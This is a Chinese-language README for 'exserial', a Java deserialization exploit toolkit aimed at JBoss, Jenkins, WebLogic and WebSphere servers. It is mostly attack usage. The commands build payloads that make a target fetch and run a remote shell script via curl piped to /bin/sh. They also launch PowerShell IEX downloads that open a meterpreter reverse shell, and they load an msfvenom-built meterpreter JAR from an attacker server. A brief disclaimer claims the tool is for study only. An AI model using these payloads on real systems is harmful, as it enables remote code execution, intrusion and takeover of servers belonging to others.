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exserial's Introduction

Java Untrusted Deserialization Exploits Tools

免责声明

本工具仅供学习与研究目的,请勿用于商业目的,如果因此有任何法律纠纷,与工具作者无任何关系。

文件说明

.
|____README.md
|____exserial.jar     基于 CommonsCollections <= 3.2.1 的 Gadget 生成程序
|____scripts
| |____jboss.py       JBoss JMXInvokerServlet 利用脚本
| |____jenkin.py      Jenkins CLI 利用脚本
| |____weblogic.py    WebLogic 利用脚本
| |____websphere.py   WebSphere 利用脚本

使用方法

exserial.jar 目前包含两种 Payload 生成模式:CommandExecClassInject

$ java -jar exserial.jar
Java Deserialize Exploit Gadget With (commons-collections <= 3.2.1)
Usage: java -jar exserial.jar [module type]
    Available module types:
        CommandExec
        ClassInject

1. CommandExec 模式

用于直接在目标服务器上执行系统命令,可以根据不同的目标环境调整攻击配置:

$ java -jar exserial.jar CommandExec
Java Deserialize Exploit Gadget With (commons-collections <= 3.2.1)
Usage: java -jar exserial.jar CommandExec [platform] [command to execute]
    Available platform types:
        Win
        Linux
        OSX

针对目标为 Linux 的系统,可以执行如下命令生成 Payload,使目标成功执行命令后加载我们指定的脚本文件进行执行:

$ java -jar exserial.jar CommandExec Linux "curl http://myserver.com/todo.sh|/bin/sh" > demo1.ser

针对目标为 Windows 的系统,可以借助 Powershell 来获取 Shell 或者加载我们指定的脚本进行执行(下面为利用 PowerSploit 中的 Invoke--Shellcode.ps1 脚本反弹类型为 windows/meterpreter/reverse_https 的 Shell):

$ java -jar exserial.jar CommandExec Win "powershell IEX (New-Object Net.WebClient).DownloadString('http://myserver.com/CodeExecution/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.130.1 -Lport 4444 -Force" > demo2.ser

2. ClassInject 模式

用于使目标服务器动态加载我们指定的 JAR 包并执行指定类名的 main 方法。

例如,可以使用 msfvenom 生成基于 Metasploit 框架的 java/meterpreter/reverse_tcp JAR 包:

$ msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=192.168.130.1 LPORT=4444 -t jar > java_meterpreter_reverse_tcp.jar

然后将 java_meterpreter_reverse_tcp.jar 包至于一服务上用于目标服务器进行加载,然后使用 exserial.jar 生成对应的 Payload:

$ java -jar exserial.jar ClassInject "http://myserver.com/java_meterpreter_reverse_tcp.jar" "metasploit.Payload" > demo3.ser

更新记录

  • 2015-12-12 增加 ClassInject Gadget 执行链生成类 和 反序列化本地测试类
  • 2015-12-10 更新目录结构 & 修复 websphere.py 利用脚本 bug
  • 2015-12-07 基于 CommonsCollections <= 3.2.1 Gadget 生成程序 exserial.jar(包含 jboss、jenkins、weblogic、websphere 利用脚本)

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